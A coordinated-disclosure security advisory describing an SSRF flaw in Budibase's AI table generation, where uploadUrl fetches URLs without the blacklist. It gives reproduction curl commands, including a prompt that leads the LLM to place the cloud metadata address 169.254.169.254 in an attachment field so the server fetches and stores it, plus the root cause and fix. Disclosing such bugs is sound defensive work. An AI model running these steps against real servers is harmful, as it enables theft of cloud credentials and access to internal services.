Sanaan Fayaz Wani

GHSA-3c52-v5v2-3r56

SSRF in AI Table Generation via uploadUrl: raw fetch without blacklist protection

—

GHSA-3c52-v5v2-3r56

Published, fixed and credited. Root cause, the vulnerable code, reproduction and the fix, as published in the advisory itself.

   
Advisory GHSA-3c52-v5v2-3r56
CVE not assigned
Severity High (7.7)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918 (Server-Side Request Forgery (SSRF))
Published 2026-09-17

Affected versions

Package Ecosystem Vulnerable Fixed in
budibase npm <= 3.41.0 n/a

Summary

The uploadUrl function in packages/server/src/utilities/fileUtils.ts uses raw node-fetch without SSRF protection. Every other outbound fetch in the codebase uses fetchWithBlacklist from @budibase/backend-core, which blocks private IP ranges. This function was missed, enabling full-read SSRF via AI table generation.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e BB_ADMIN_USER_EMAIL=admin@test.com \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin (builder role required)

curl -s -c /tmp/bb.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@test.com","password":"TestPassword123!"}'

APP_ID=$(curl -s -b /tmp/bb.txt -X POST http://localhost:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{"name":"TestApp","useTemplate":"false"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["appId"])')

3. Trigger AI table generation with internal URL

curl -s -b /tmp/bb.txt -X POST "http://localhost:10000/api/ai/tables" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"prompt":"Create a table called Servers with columns: name (text), screenshot (attachment single). Add one row: name=metadata, screenshot=http://169.254.169.254/latest/meta-data/"}'

The LLM generates table data. When the attachment column contains a URL string, processAttachments (line 104 of packages/server/src/sdk/workspace/ai/helpers/rows.ts) calls uploadUrl(value) (line 113), which executes fetch(url) at line 23 of packages/server/src/utilities/fileUtils.ts with NO blacklist check. The response body is saved to MinIO/S3 and the presigned URL is returned.

Standalone verification (no LLM needed)

The vulnerable function can be verified by reading the source directly:

# In the budibase source tree:
grep -n "fetch(url)" packages/server/src/utilities/fileUtils.ts
# Output: 23:    const res = await fetch(url)

# Compare with every other fetch call which uses the blacklist:
grep -rn "fetchWithBlacklist" packages/server/src/automations/steps/ | head -5
# Output shows all automation steps use fetchWithBlacklist

# The import at the top of fileUtils.ts:
head -3 packages/server/src/utilities/fileUtils.ts
# Output: import fetch from "node-fetch"  (raw, no blacklist wrapper)

Root Cause

File: packages/server/src/utilities/fileUtils.ts, line 23:

import fetch from "node-fetch"  // raw node-fetch, NOT fetchWithBlacklist

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // <-- NO blacklist check
    // response body piped to file, uploaded to S3, URL returned to caller

Call chain: POST /api/ai/tables (builder auth) -> generateTables -> generateRows -> processAttachments -> uploadUrl -> raw fetch(url)

Impact

  1. Full-read SSRF: Response body is saved to object storage and the URL returned to the attacker
  2. Cloud metadata theft: On AWS, http://169.254.169.254/latest/meta-data/ exposes IAM credentials
  3. Internal service access: CouchDB (5984), Redis (6379), MinIO (9000) are reachable

This is the same bug class as 7 prior SSRF CVEs (GHSA-7r9j, GHSA-xh5j, GHSA-fgqv, GHSA-rpj4, GHSA-4q6h, GHSA-g6qx, GHSA-cv96), each a different endpoint missing fetchWithBlacklist.

Suggested Fix

- import fetch from "node-fetch"
+ import { utils } from "@budibase/backend-core"

  export async function uploadUrl(url: string): Promise<Upload | undefined> {
    try {
-     const res = await fetch(url)
+     const res = await utils.fetchWithBlacklist(url)

About this writeup

Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the budibase maintainers under coordinated disclosure and is credited as a reporter in GHSA-3c52-v5v2-3r56, published 2026-09-17.

All published findings: advisory index.